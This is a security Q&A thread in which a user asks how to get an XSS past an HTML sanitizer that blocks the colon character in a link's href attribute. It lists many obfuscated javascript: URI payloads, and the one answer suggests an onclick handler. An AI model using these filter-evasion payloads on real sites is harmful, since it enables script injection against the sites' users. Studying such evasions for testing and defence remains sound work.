I try to bypass a XSS filter to trigger a XSS in url context. But the problem this following char is blacklist ' :' The site allow the user to use some basic html balise like h1, h2, h3, p, a, u, etc ... The only potential vector attack is to trigger the XSS with this <a href='javascript:alert()'></a> But the problem the char ':' is harshly blocked by a htmlsanitizer.

After many research in internet i can not bypass it I have try to use urlencoding and numeric

with numeric encoding the char is automatically decoded and the my payload is blocked.

And with urlencoding the payload is not blocked but the navigator


Note the htmlsanitizer don't block alert(1); into the payload

I have try this following payload and not working

<a href='javascript:alert(1);//https://attacker.com/'>Click</a>
<a href='javascript:%61%6c%65%72%74%28%31%29'>Click</a>
<a href='javascript://%0d%0aprompt(1);com'>Click</a>
<a href='&#106;avascript:alert(1)'>Click</a>
<a href='&#x6A;avascript:alert(1)'>Click</a>
<a href='&#x6A;avascript&#0000058&#0000097lert(1)'>Click</a>
<a href='  &#x8; &#23;   javascript:alert(1)'>Click</a>
<a href='javascript:\u0061lert(1);'>Click</a>
<a href=j&#97v&#97script&#x3A;&#97lert(1)>Click</a>
<a href='javascript:%61%6c%65%72%74%28%31%29'>Click</a>
<a href='javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;'>Click</a>
<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(1)&rpar;">Click</a

/!\ Note: I can only control the href attribute, and the quote is escaped /!\

My question is, is possible to trigger a XSS in url context without this following caracter ' : ' ?

Thank you

  • When you say : is blocked, is means if the string contains : then the web page returns an error like Ì'm sorry Dave, I'm afraid I can't let you do that? or is the : encoded in some way into the finally-accepted string?
    – Xenos
    Commented Sep 22, 2020 at 9:56
  • Hi, thank you for reply, when i try to inject javascript:alert(1) the HTML DOM parser add the keyword denied: before javascript like this denied:javascript:alert(1)
    – Fuzzme
    Commented Sep 22, 2020 at 12:20

1 Answer 1


If, as it seems from your question, you control the entire tag, then you can try <a onclick="alert(1)" href="#">

  • That's the way to go. @Project777 are quotes escaped?
    – Saustin
    Commented Sep 21, 2020 at 18:54
  • you don't even need quotes for that
    – dandavis
    Commented Sep 21, 2020 at 18:59
  • @dandavis Exact
    – Fuzzme
    Commented Sep 21, 2020 at 19:23
  • Sry, i have wrong specify, i can only control the href attribute
    – Fuzzme
    Commented Sep 21, 2020 at 21:43
  • @Saustin, Yes the quotes is escaped, and i can only control the href tag
    – Fuzzme
    Commented Sep 21, 2020 at 21:43

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .